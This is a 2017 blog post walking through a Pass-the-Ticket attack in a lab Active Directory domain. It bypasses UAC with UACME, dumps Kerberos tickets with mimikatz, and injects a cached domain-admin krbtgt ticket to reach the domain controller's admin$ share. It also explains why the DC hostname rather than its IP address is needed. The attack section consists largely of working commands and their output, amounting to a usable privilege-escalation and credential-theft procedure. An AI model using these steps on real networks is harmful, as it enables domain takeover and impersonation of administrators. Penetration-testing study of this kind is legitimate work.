Pass-The-Ticket (PTT) attack in Mimikatz (and a Gotcha!)

t0pazg3m Aug 17, 2017 · 3 min read

Introduction

Pass-the-ticket attack is a well-known method of impersonating users on an AD domain. AD typically users Kerberos to provides single sign-on and SSO.

Basically, a workstation/device in AD authenticates to a domain controller by requesting a TGT ticket for itself. The TGT ticket is valid for a period of time (typically hours) and is used to request more tickets.

Here was my setup for the domain *HACKER.TESTLAB*:

win7pc (192.168.56.201) — — — — *win2012dc* (192.168.56.200)

The setup consisted of the following users:

- *win7user* — Local Admin user on windows 7 client in HACKER.TESTLAB domain
- *Administrator* — Domain admin in HACKER.TESTLAB domain

```
* win7user - admin user on windows 7 client
* Administrator - domain admin in HACKER.TESTLAB
```

win7user is already logged into *win7pc*, which is in the domain HACKER.TESTLAB. We will be using mimikatz to perform the PTT attack.

Steps Performed

- User *HACKER.TESTLAB\win7user* needs to escalate his privileges on *win7pc* to bypass UAC. Otherwise, mimikatz's minimum requirement of user having "Debug Privileges" cannot be met. First, we utilize UACME to bypass UAC protection and get "Debug Privileges" and "High Integrity". We can use "whoami /all" to check current privileges and the integrity level.

```
> whoami /all
...
PRIVILEGES INFORMATION
----------------------
Privilege Name
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
...
> Akagi64.exe 1
> whoami/all
...
PRIVILEGES INFORMATION
----------------------
Privilege Name
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
....
```

Note: A new command prompt with elevated integrity level (uac bypassed) is opened by UACMe. If using Metasploit meterpreter, then multiple bypassuac exploits are available, which open a new meterpreter session with higher integrity levels.

- We will get a list of all existing kerberos tickets. Typically, we see none.

```
klist
...
Cached Tickets: (0)
...
```

- We will utilise mimikatz.exe to get all the kerberos tickets. The following commands will export all kerberos tickets into the folder from which mimikatz.exe was started. From the *.kirbi* file names, we will be able to see if there are any Kerberos tickets for domain admin *HACKER.TESTLAB\Administrator*. We really care about "krbtgt" tickets, as they grant us access to multiple services.

Note: KrbTGT tickets get cached ONLY IF *HACKER.TESTLAB\Administrator* has logged on to *win7pc before*.

```
> mimikatz.exe
# privilege::debug
# sekurlsa::tickets /export
> exit
> dir | findst "Administrator" | findstr "krbtgt"
...

[0;1d0bb]-2-0-40e10000-Administrator@krbtgt-HACKER.TESTLAB.kirbi
[0;1d0bb]-2-1-60a10000-Administrator@krbtgt-HACKER.TESTLAB.kirbi
[0;47d2a]-2-0-40e10000-Administrator@krbtgt-HACKER.TESTLAB.kirbi
...
```

- We can now reuse one of the cached tickets to get Domain Admin in the current user session aka *HACKER.TESTLAB\win7user*.

```
> mimikatz.exe
# privilege::debug
# kerberos::ptt [0;1d0bb]-2-0-40e10000-Administrator@krbtgt-
HACKER.TESTLAB.kirbi
...

File: '[0;1d0bb]-2-0-40e10000-Administrator@krbtgt-
HACKER.TESTLAB.kirbi': OK
...
# exit
Bye!
>
```

- So far so good… we can now check the output of klist and see cached tickets.

```
> klist | findstr "Cached"
...

Cached Tickets: (1)
...
```

Gotcha! Problem Encountered

- Now when we try to access the admin$ directory on a domain controller as a test, we simply get "Access is Denied"!

```
> dir \\192.168.56.1\admin$
Access is Denied.
```

Resolution

To resolve this, you must use the hostname of the DC! This can be determined as follows:

```
> nltest /dc:HACKER.TESTLAB
...
win2012dc.HACKER.TESTLAB [PDC] [DS] Default-Site: Your-First-Site
...
```

Repeating the command with the domain name of the DC gives us access to the *ADMIN$* directory.

```
> dir \\win2012dc.hacker.testlab\admin$
...
07/28/2017  05:32 AM    <DIR>          .
07/28/2017  05:32 AM    <DIR>          ..
06/23/2013  01:39 AM    <DIR>          ADFS
07/28/2017  05:27 AM    <DIR>          ADWS
...
```

Credits

- Peter Kim — "*The Hacker Playbook 2 — Practical Guide to Penetration Testing*"
- Andrea Pierini — "*From Pass-The-Hash to Pass-The-Ticket with No Pain*"

Pass The Ticket | Mimikatz | Penetration Testing | Kerberos | Active Directory